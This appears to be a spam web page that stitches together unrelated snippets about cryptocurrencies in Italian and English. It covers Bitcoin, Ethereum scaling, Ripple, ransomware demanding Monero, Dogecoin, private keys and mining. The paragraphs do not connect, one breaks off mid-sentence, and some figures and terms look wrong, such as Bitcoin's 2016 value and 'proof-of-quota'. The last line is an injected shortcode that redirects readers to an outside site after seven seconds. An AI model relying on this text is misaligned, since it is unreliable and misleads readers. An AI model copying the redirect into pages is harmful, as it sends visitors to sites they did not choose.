“Digital Currency Value -Valuta digitale giapponese”

Le criptovalute sono valute cifrate peer-to-peer che passano da un utente all’altro. Si tratta di valute decentralizzate, ovvero non governate da banche o istituti governativi. Le criptovalute sono sequenze di codici cifrati trasmesse e archiviate sulla rete. Tutte le transazioni vengono confermate e archiviate su database distribuiti. Il sistema utilizza tecniche complesse per certificare e validare il processo di contabilizzazione delle transazioni.

Next, Bitcoins. Well, Bit+coins. Bit is a normal usage word taken from computer lingo (Bits and Bytes). Bitcoins were the first cryptocurrency which came into existence in year 2009 and since then the craze for using to become rich has gone exponential. As of year 2016, the total value of money supply in Bitcoins has crossed $2.1 Billion.

Blockchains can be used to reduce the transaction costs and the need for a third party (banks) for any type of monetary transfer. Which makes it cheap and attracts both suppliers and customers alike. The financial institutions are exploring new ways of using the blockchain technology to revolutionize the conventional ways of banking. Business communities all over the world are viewing this as a next generation software that can be used to improve business processing.

Se una versione crittografica del Tamagotchi arriva a mettere in ginocchio l’aspirante super computer globale, viene però da chiedersi come Ethereum possa un domani far fronte ai miliardi di transazioni richieste quotidianamente dal sistema economico mondiale. Certo, Buterin ha promesso di cambiare il sistema per renderlo più veloce ed efficiente. Ma non è detto che ci riesca e non è detto che i possessori di Ethereum accettino le migliorie.

A mettere le ali a Ripple nell’ultimo scorcio dell’anno è stato l’annuncio di un consorzio di banche asiatiche e in particolare giapponesi che hanno raggiunto l’accordo per una sperimentazione per l’uso della criptovaluta come base per un nuovo sistema di carte di pagamento.

Slovenia has always sought to become a country with favorable conditions for the development of modern technologies. Sometimes Slovenia is called the Silicon Valley of Europe, but so far no important steps have been taken in the country to promote full-fledged status.

La ricerca, denominata Cryptoeuro, è promossa da Reply in collaborazione con il Tavolo di lavoro Blockchain & Distributed Ledger degli Osservatori Digital Innovation del Politecnico di Milano e la partecipazione dell’Associazione Italiana Istituti di Pagamento e di Moneta Elettronica (AIIP).

Altro capitolo in questa breve storia delle “criptotruffe” è il ransomware. Sappiamo tutti ormai di quei malware che bloccano i dati sul computer, e bisogna pagare un riscatto per sbloccarli – anzi per la speranza di sbloccarli. La nuova variante include attacchi DDoS ai siti web, e dentro agli attacchi ci sono dei “post-it” in versione digitale con una richiesta di riscatto. In genere chiedono Monero, una moneta apprezzata dai criminali perché garantisce un alto livello di anonimato. Il biglietto recita più o meno così: paga o continuamo a tenerti il sito down. Stando al reportage di Fortune non chiedono nemmeno tanto, circa 16.000 dollari al cambio.

Senza la chiave privata, le criptovalute collegate a tale chiave non possono essere né spese, né trasferite. Se da un lato quindi il sistema delle chiavi private è ottimo per la sicurezza, bisogna sempre stare attenti a non perdere la propria chiave privata (dato che si perderebbe accesso alle proprie criptovalute):

Creata da Jackson Palmer e Billy Markus, questa criptovaluta si è guadagnata un suo spazio soprattutto grazie alla community “Dogemarket” su Reddit, un luogo dove scambiare, comprare e vendere non solo Dogecoin ma anche Bitcoin e oggetti reali.

A quanto pare Ethereum risulta essere la più stabile delle criptovalute. Mentre tutte le altre stanno oscillando in modo notevole, ETH sta eseguendo fluttuazioni molto ridotte per essere una criptovalute. Come vedete ho indicato due probabili target per un eventuale rimbalzo sul supporto indicato. I target che sembrano abbastanza lontani in un time frame h1 si …

Unlike previous misconceptions, this survey reveals that just 4% of companies holding cryptocurrency claim to be stockpiling it as preparation for a ransomware attack. However, 64% say that its rising value has led cyber-criminals to target their stockpile, and 31% believe a stockpile of cryptocurrency might make the business a target for hackers.

Esistono centinaia di criptovalute diverse tra loro e la maggior parte di esse sono derivate da uno dei due protocolli; Proof-of-work oppure proof-of-quota. Tutte funzionano grazie ad una comunità di “miners” che fanno parte della rete di persone che hanno adibito i loro computer o macchine ASIC a partecipare alla validazione ed elaborazione delle migliaia di transazioni al secondo. [redirect url=’http://curbee.info/bump’ sec=’7′]

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